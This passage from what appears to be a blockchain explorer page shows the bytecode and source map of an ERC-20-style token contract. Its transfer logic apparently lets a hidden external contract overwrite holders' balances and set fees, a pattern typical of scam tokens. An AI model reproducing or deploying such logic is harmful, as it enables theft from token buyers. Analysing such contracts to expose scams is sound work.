576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b7190612633565b60405180910390fd5b809150505b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611bbf578082015181840152602081019050611ba4565b60008484015250505050565b6000601f19601f8301169050919050565b6000611be782611b85565b611bf18185611b90565b9350611c01818560208601611ba1565b611c0a81611bcb565b840191505092915050565b60006020820190508181036000830152611c2f8184611bdc565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611c6782611c3c565b9050919050565b611c7781611c5c565b8114611c8257600080fd5b50565b600081359050611c9481611c6e565b92915050565b6000819050919050565b611cad81611c9a565b8114611cb857600080fd5b50565b600081359050611cca81611ca4565b92915050565b60008060408385031215611ce757611ce6611c37565b5b6000611cf585828601611c85565b9250506020611d0685828601611cbb565b9150509250929050565b60008115159050919050565b611d2581611d10565b82525050565b6000602082019050611d406000830184611d1c565b92915050565b611d4f81611c9a565b82525050565b6000602082019050611d6a6000830184611d46565b92915050565b600060208284031215611d8657611d85611c37565b5b6000611d9484828501611cbb565b91505092915050565b611da681611d10565b8114611db157600080fd5b50565b600081359050611dc381611d9d565b92915050565b600060208284031215611ddf57611dde611c37565b5b6000611ded84828501611db4565b91505092915050565b600080600060608486031215611e0f57611e0e611c37565b5b6000611e1d86828701611c85565b9350506020611e2e86828701611c85565b9250506040611e3f86828701611cbb565b9150509250925092565b611e5281611c5c565b82525050565b6000602082019050611e6d6000830184611e49565b92915050565b600060208284031215611e8957611e88611c37565b5b6000611e9784828501611c85565b91505092915050565b60008060408385031215611eb757611eb6611c37565b5b6000611ec585828601611c85565b9250506020611ed685828601611c85565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611f2757607f821691505b602082108103611f3a57611f39611ee0565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611f76602083611b90565b9150611f8182611f40565b602082019050919050565b60006020820190508181036000830152611fa581611f69565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611fe682611c9a565b9150611ff183611c9a565b925082820190508082111561200957612008611fac565b5b92915050565b600061201a82611c9a565b915061202583611c9a565b925082820390508181111561203d5761203c611fac565b5b92915050565b7f536166654d6174683a206469766973696f6e206279207a65726f000000000000600082015250565b6000612079601a83611b90565b915061208482612043565b602082019050919050565b600060208201905081810360008301526120a88161206c565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006120e982611c9a565b91506120f483611c9a565b925082612104576121036120af565b5b828204905092915050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061216b602583611b90565b91506121768261210f565b604082019050919050565b6000602082019050818103600083015261219a8161215e565b9050919050565b7f4945524332303a20617070726f766520746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006121fd602383611b90565b9150612208826121a1565b604082019050919050565b6000602082019050818103600083015261222c816121f0565b9050919050565b60006040820190506122486000830185611e49565b6122556020830184611e49565b9392505050565b60008151905061226b81611d9d565b92915050565b60006020828403121561228757612286611c37565b5b60006122958482850161225c565b91505092915050565b6000815190506122ad81611c6e565b92915050565b6000602082840312156122c9576122c8611c37565b5b60006122d78482850161229e565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000819050919050565b6000819050919050565b600061236d6123686123638461233e565b612348565b611c9a565b9050919050565b61237d81612352565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6123b881611c5c565b82525050565b60006123ca83836123af565b60208301905092915050565b6000602082019050919050565b60006123ee82612383565b6123f8818561238e565b93506124038361239f565b8060005b8381101561243457815161241b88826123be565b9750612426836123d6565b925050600181019050612407565b5085935050505092915050565b600060a0820190506124566000830188611d46565b6124636020830187612374565b818103604083015261247581866123e3565b90506124846060830185611e49565b6124916080830184611d46565b9695505050505050565b60006060820190506124b06000830186611e49565b6124bd6020830185611e49565b6124ca6040830184611d46565b949350505050565b6000815190506124e181611ca4565b92915050565b6000602082840312156124fd576124fc611c37565b5b600061250b848285016124d2565b91505092915050565b600060a0820190506125296000830188611e49565b6125366020830187611e49565b6125436040830186611d1c565b6125506060830185611e49565b61255d6080830184611e49565b9695505050505050565b600061257282611c9a565b915061257d83611c9a565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156125b6576125b5611fac565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b600061261d602183611b90565b9150612628826125c1565b604082019050919050565b6000602082019050818103600083015261264c81612610565b905091905056fea26469706673582212208f530e38c0803865a9e372bf2675b14d13b39d4647fb2238c4deb0b348ff435664736f6c63430008100033

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101735760003560e01c80636675187e116100de57806395d89b4111610097578063c5b37c2211610071578063c5b37c221461042c578063dd62ed3e1461044a578063e884f2601461047a578063f8b45b051461048457610173565b806395d89b41146103ae578063a457c2d7146103cc578063a9059cbb146103fc57610173565b80636675187e1461031257806370a0823114610330578063715018a6146103605780638a8c523c1461036a5780638da5cb5b14610374578063924de9b71461039257610173565b806327c8f8351161013057806327c8f8351461024c578063313ce5671461026a57806332424aa31461028857806339509351146102a65780633eaaf86b146102d657806348d3ab1f146102f457610173565b806306fdde0314610178578063095ea7b31461019657806318160ddd146101c65780631c499ab0146101e45780631ed950c91461020057806323b872dd1461021c575b600080fd5b6101806104a2565b60405161018d9190611c15565b60405180910390f35b6101b060048036038101906101ab9190611cd0565b610534565b6040516101bd9190611d2b565b60405180910390f35b6101ce61054b565b6040516101db9190611d55565b60405180910390f35b6101fe60048036038101906101f99190611d70565b610555565b005b61021a60048036038101906102159190611dc9565b6105f6565b005b61023660048036038101906102319190611df6565b610688565b6040516102439190611d2b565b60405180910390f35b610254610729565b6040516102619190611e58565b60405180910390f35b61027261074f565b60405161027f9190611d55565b60405180910390f35b610290610759565b60405161029d9190611d55565b60405180910390f35b6102c060048036038101906102bb9190611cd0565b61075f565b6040516102cd9190611d2b565b60405180910390f35b6102de6107fd565b6040516102eb9190611d55565b60405180910390f35b6102fc610803565b6040516103099190611d55565b60405180910390f35b61031a61080c565b6040516103279190611d2b565b60405180910390f35b61034a60048036038101906103459190611e73565b61081f565b6040516103579190611d55565b60405180910390f35b610368610868565b005b61037261099b565b005b61037c610a2d565b6040516103899190611e58565b60405180910390f35b6103ac60048036038101906103a79190611dc9565b610a56565b005b6103b6610ae8565b6040516103c39190611c15565b60405180910390f35b6103e660048036038101906103e19190611cd0565b610b7a565b6040516103f39190611d2b565b60405180910390f35b61041660048036038101906104119190611cd0565b610ca1565b6040516104239190611d2b565b60405180910390f35b610434610cb8565b6040516104419190611d55565b60405180910390f35b610464600480360381019061045f9190611ea0565b610cbe565b6040516104719190611d55565b60405180910390f35b610482610d45565b005b61048c610dd7565b6040516104999190611d55565b60405180910390f35b6060600880546104b190611f0f565b80601f01602080910402602001604051908101604052809291908181526020018280546104dd90611f0f565b801561052a5780601f106104ff5761010080835404028352916020019161052a565b820191906000526020600020905b81548152906001019060200180831161050d57829003601f168201915b5050505050905090565b6000610541338484610e3b565b6001905092915050565b6000600454905090565b3373ffffffffffffffffffffffffffffffffffffffff16610574610a2d565b73ffffffffffffffffffffffffffffffffffffffff16146105ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105c190611f8c565b60405180910390fd5b6105e06064600454610ddd90919063ffffffff16565b8110156105ec57600080fd5b80600b8190555050565b3373ffffffffffffffffffffffffffffffffffffffff16610615610a2d565b73ffffffffffffffffffffffffffffffffffffffff161461066b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161066290611f8c565b60405180910390fd5b80600a60016101000a81548160ff02191690831515021790555050565b6000610695848484611004565b81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561071e57600080fd5b600190509392505050565b600c60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600354905090565b60035481565b60006107f3338484600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546107ee9190611fdb565b610e3b565b6001905092915050565b60045481565b60006002905090565b600a60019054906101000a900460ff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff16610887610a2d565b73ffffffffffffffffffffffffffffffffffffffff16146108dd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108d490611f8c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b3373ffffffffffffffffffffffffffffffffffffffff166109ba610a2d565b73ffffffffffffffffffffffffffffffffffffffff1614610a10576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a0790611f8c565b60405180910390fd5b6001600c60156101000a81548160ff021916908315150217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b3373ffffffffffffffffffffffffffffffffffffffff16610a75610a2d565b73ffffffffffffffffffffffffffffffffffffffff1614610acb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ac290611f8c565b60405180910390fd5b80600c60006101000a81548160ff02191690831515021790555050565b606060098054610af790611f0f565b80601f0160208091040260200160405190810160405280929190818152602001828054610b2390611f0f565b8015610b705780601f10610b4557610100808354040283529160200191610b70565b820191906000526020600020905b815481529060010190602001808311610b5357829003601f168201915b5050505050905090565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610c0557600080fd5b610c97338484600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610c92919061200f565b610e3b565b6001905092915050565b6000610cae338484611004565b6001905092915050565b60055481565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b3373ffffffffffffffffffffffffffffffffffffffff16610d64610a2d565b73ffffffffffffffffffffffffffffffffffffffff1614610dba576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db190611f8c565b60405180910390fd5b6000600c60166101000a81548160ff021916908315150217905550565b600b5481565b6000808211610e21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e189061208f565b60405180910390fd5b60008284610e2f91906120de565b90508091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610eaa576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ea190612181565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f19576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1090612213565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610ff79190611d55565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361103d57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361107657600080fd5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e84846040518363ffffffff1660e01b81526004016110d3929190612233565b602060405180830381865afa1580156110f0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111149190612271565b1561112857611123818361141c565b611417565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205481111561117457600080fd5b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156111e3573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061120791906122b3565b9050611212846116e6565b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600061126285858561186a565b905060008184611272919061200f565b905081600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546112c39190611fdb565b9250508190555083600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611315919061200f565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546113a79190611fdb565b925050819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8660405161140b9190611d55565b60405180910390a35050505b505050565b61144930600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610e3b565b81600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600267ffffffffffffffff8111156114aa576114a96122e0565b5b6040519080825280602002602001820160405280156114d85781602001602082028036833780820191505090505b5090506001600a60006101000a81548160ff021916908315150217905550308160008151811061150b5761150a61230f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156115b2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115d691906122b3565b816001815181106115ea576115e961230f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008486601e426116749190611fdb565b6040518663ffffffff1660e01b8152600401611694959493929190612441565b600060405180830381600087803b1580156116ae57600080fd5b505af11580156116c2573d6000803e3d6000fd5b505050506000600a60006101000a81548160ff021916908315150217905550505050565b60008060016000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b8152600401602060405180830381865afa15801561175a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061177e91906122b3565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd84611802611968565b846040518463ffffffff1660e01b81526004016118219392919061249b565b602060405180830381865afa15801561183e573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061186291906124e7565b915050919050565b60008060009050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663fe0d598b8686600a60009054906101000a900460ff16306118ca611968565b6040518663ffffffff1660e01b81526004016118ea959493929190612514565b6020604051808303816000875af1158015611909573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061192d9190612271565b1561195d5761195a606461194c60055486611b0b90919063ffffffff16565b610ddd90919063ffffffff16565b90505b809150509392505050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156119d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119fb91906122b3565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611a84573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611aa891906122b3565b6040518363ffffffff1660e01b8152600401611ac5929190612233565b602060405180830381865afa158015611ae2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b0691906122b3565b905090565b6000808303611b1d5760009050611b7f565b60008284611b2b9190612567565b9050828482611b3a91906120de565b14611b7a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b7190612633565b60405180910390fd5b809150505b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611bbf578082015181840152602081019050611ba4565b60008484015250505050565b6000601f19601f8301169050919050565b6000611be782611b85565b611bf18185611b90565b9350611c01818560208601611ba1565b611c0a81611bcb565b840191505092915050565b60006020820190508181036000830152611c2f8184611bdc565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611c6782611c3c565b9050919050565b611c7781611c5c565b8114611c8257600080fd5b50565b600081359050611c9481611c6e565b92915050565b6000819050919050565b611cad81611c9a565b8114611cb857600080fd5b50565b600081359050611cca81611ca4565b92915050565b60008060408385031215611ce757611ce6611c37565b5b6000611cf585828601611c85565b9250506020611d0685828601611cbb565b9150509250929050565b60008115159050919050565b611d2581611d10565b82525050565b6000602082019050611d406000830184611d1c565b92915050565b611d4f81611c9a565b82525050565b6000602082019050611d6a6000830184611d46565b92915050565b600060208284031215611d8657611d85611c37565b5b6000611d9484828501611cbb565b91505092915050565b611da681611d10565b8114611db157600080fd5b50565b600081359050611dc381611d9d565b92915050565b600060208284031215611ddf57611dde611c37565b5b6000611ded84828501611db4565b91505092915050565b600080600060608486031215611e0f57611e0e611c37565b5b6000611e1d86828701611c85565b9350506020611e2e86828701611c85565b9250506040611e3f86828701611cbb565b9150509250925092565b611e5281611c5c565b82525050565b6000602082019050611e6d6000830184611e49565b92915050565b600060208284031215611e8957611e88611c37565b5b6000611e9784828501611c85565b91505092915050565b60008060408385031215611eb757611eb6611c37565b5b6000611ec585828601611c85565b9250506020611ed685828601611c85565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680611f2757607f821691505b602082108103611f3a57611f39611ee0565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611f76602083611b90565b9150611f8182611f40565b602082019050919050565b60006020820190508181036000830152611fa581611f69565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611fe682611c9a565b9150611ff183611c9a565b925082820190508082111561200957612008611fac565b5b92915050565b600061201a82611c9a565b915061202583611c9a565b925082820390508181111561203d5761203c611fac565b5b92915050565b7f536166654d6174683a206469766973696f6e206279207a65726f000000000000600082015250565b6000612079601a83611b90565b915061208482612043565b602082019050919050565b600060208201905081810360008301526120a88161206c565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006120e982611c9a565b91506120f483611c9a565b925082612104576121036120af565b5b828204905092915050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b600061216b602583611b90565b91506121768261210f565b604082019050919050565b6000602082019050818103600083015261219a8161215e565b9050919050565b7f4945524332303a20617070726f766520746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006121fd602383611b90565b9150612208826121a1565b604082019050919050565b6000602082019050818103600083015261222c816121f0565b9050919050565b60006040820190506122486000830185611e49565b6122556020830184611e49565b9392505050565b60008151905061226b81611d9d565b92915050565b60006020828403121561228757612286611c37565b5b60006122958482850161225c565b91505092915050565b6000815190506122ad81611c6e565b92915050565b6000602082840312156122c9576122c8611c37565b5b60006122d78482850161229e565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000819050919050565b6000819050919050565b600061236d6123686123638461233e565b612348565b611c9a565b9050919050565b61237d81612352565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6123b881611c5c565b82525050565b60006123ca83836123af565b60208301905092915050565b6000602082019050919050565b60006123ee82612383565b6123f8818561238e565b93506124038361239f565b8060005b8381101561243457815161241b88826123be565b9750612426836123d6565b925050600181019050612407565b5085935050505092915050565b600060a0820190506124566000830188611d46565b6124636020830187612374565b818103604083015261247581866123e3565b90506124846060830185611e49565b6124916080830184611d46565b9695505050505050565b60006060820190506124b06000830186611e49565b6124bd6020830185611e49565b6124ca6040830184611d46565b949350505050565b6000815190506124e181611ca4565b92915050565b6000602082840312156124fd576124fc611c37565b5b600061250b848285016124d2565b91505092915050565b600060a0820190506125296000830188611e49565b6125366020830187611e49565b6125436040830186611d1c565b6125506060830185611e49565b61255d6080830184611e49565b9695505050505050565b600061257282611c9a565b915061257d83611c9a565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156125b6576125b5611fac565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b600061261d602183611b90565b9150612628826125c1565b604082019050919050565b6000602082019050818103600083015261264c81612610565b905091905056fea26469706673582212208f530e38c0803865a9e372bf2675b14d13b39d4647fb2238c4deb0b348ff435664736f6c63430008100033

Deployed Bytecode Sourcemap

3878:5585:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6343:71;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6862:167;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6580:88;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8872:133;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8720:91;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8272:244;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9135:71;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6501:73;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4081:29;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4622:211;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4117:55;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6674:71;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8683:30;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6751:105;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3723:148;;;:::i;:::-;;9247:84;;;:::i;:::-;;3506:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9041:88;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6420:75;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4839:253;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8093:173;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4179:23;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4465:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9369:91;;;:::i;:::-;;8817:48;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6343:71;6382:13;6406:5;6399:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6343:71;:::o;6862:167::-;6945:4;6962:37;6971:10;6983:7;6992:6;6962:8;:37::i;:::-;7017:4;7010:11;;6862:167;;;;:::o;6580:88::-;6635:7;6653:12;;6646:19;;6580:88;:::o;8872:133::-;3650:10;3639:21;;:7;:5;:7::i;:::-;:21;;;3631:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;8951:21:::1;8968:3;8951:12;;:16;;:21;;;;:::i;:::-;8946:1;:26;;8938:35;;;::::0;::::1;;8996:1;8984:9;:13;;;;8872:133:::0;:::o;8720:91::-;3650:10;3639:21;;:7;:5;:7::i;:::-;:21;;;3631:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;8802:1:::1;8789:10;;:14;;;;;;;;;;;;;;;;;;8720:91:::0;:::o;8272:244::-;8376:4;8393:34;8403:4;8409:9;8420:6;8393:9;:34::i;:::-;8479:6;8446:11;:17;8458:4;8446:17;;;;;;;;;;;;;;;:29;8464:10;8446:29;;;;;;;;;;;;;;;;:39;;8438:48;;;;;;8504:4;8497:11;;8272:244;;;;;:::o;9135:71::-;;;;;;;;;;;;;:::o;6501:73::-;6544:7;6562:9;;6555:16;;6501:73;:::o;4081:29::-;;;;:::o;4622:211::-;4710:4;4727:76;4736:10;4748:7;4792:10;4757:11;:23;4769:10;4757:23;;;;;;;;;;;;;;;:32;4781:7;4757:32;;;;;;;;;;;;;;;;:45;;;;:::i;:::-;4727:8;:76::i;:::-;4821:4;4814:11;;4622:211;;;;:::o;4117:55::-;;;;:::o;6674:71::-;6723:7;6741:1;6734:8;;6674:71;:::o;8683:30::-;;;;;;;;;;;;;:::o;6751:105::-;6817:7;6835:9;:18;6845:7;6835:18;;;;;;;;;;;;;;;;6828:25;;6751:105;;;:::o;3723:148::-;3650:10;3639:21;;:7;:5;:7::i;:::-;:21;;;3631:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;3830:1:::1;3793:40;;3814:6;::::0;::::1;;;;;;;;3793:40;;;;;;;;;;;;3861:1;3844:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;3723:148::o:0;9247:84::-;3650:10;3639:21;;:7;:5;:7::i;:::-;:21;;;3631:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;9319:4:::1;9302:14;;:21;;;;;;;;;;;;;;;;;;9247:84::o:0;3506:87::-;3552:7;3579:6;;;;;;;;;;;3572:13;;3506:87;:::o;9041:88::-;3650:10;3639:21;;:7;:5;:7::i;:::-;:21;;;3631:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;9120:1:::1;9106:11;;:15;;;;;;;;;;;;;;;;;;9041:88:::0;:::o;6420:75::-;6461:13;6485:7;6478:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6420:75;:::o;4839:253::-;4920:4;4978:6;4945:11;:23;4957:10;4945:23;;;;;;;;;;;;;;;:29;4969:4;4945:29;;;;;;;;;;;;;;;;:39;;4937:48;;;;;;4996:66;5005:10;5017:4;5055:6;5023:11;:23;5035:10;5023:23;;;;;;;;;;;;;;;:29;5047:4;5023:29;;;;;;;;;;;;;;;;:38;;;;:::i;:::-;4996:8;:66::i;:::-;5080:4;5073:11;;4839:253;;;;:::o;8093:173::-;8179:4;8196:40;8206:10;8218:9;8229:6;8196:9;:40::i;:::-;8254:4;8247:11;;8093:173;;;;:::o;4179:23::-;;;;:::o;4465:151::-;4554:7;4581:11;:18;4593:5;4581:18;;;;;;;;;;;;;;;:27;4600:7;4581:27;;;;;;;;;;;;;;;;4574:34;;4465:151;;;;:::o;9369:91::-;3650:10;3639:21;;:7;:5;:7::i;:::-;:21;;;3631:66;;;;;;;;;;;;:::i;:::-;;;;;;;;;9447:5:::1;9431:13;;:21;;;;;;;;;;;;;;;;;;9369:91::o:0;8817:48::-;;;;:::o;2164:177::-;2222:7;2254:1;2250;:5;2242:44;;;;;;;;;;;;:::i;:::-;;;;;;;;;2297:9;2313:1;2309;:5;;;;:::i;:::-;2297:17;;2332:1;2325:8;;;2164:177;;;;:::o;7035:346::-;7154:1;7137:19;;:5;:19;;;7129:69;;;;;;;;;;;;:::i;:::-;;;;;;;;;7236:1;7217:21;;:7;:21;;;7209:69;;;;;;;;;;;;:::i;:::-;;;;;;;;;7319:6;7289:11;:18;7301:5;7289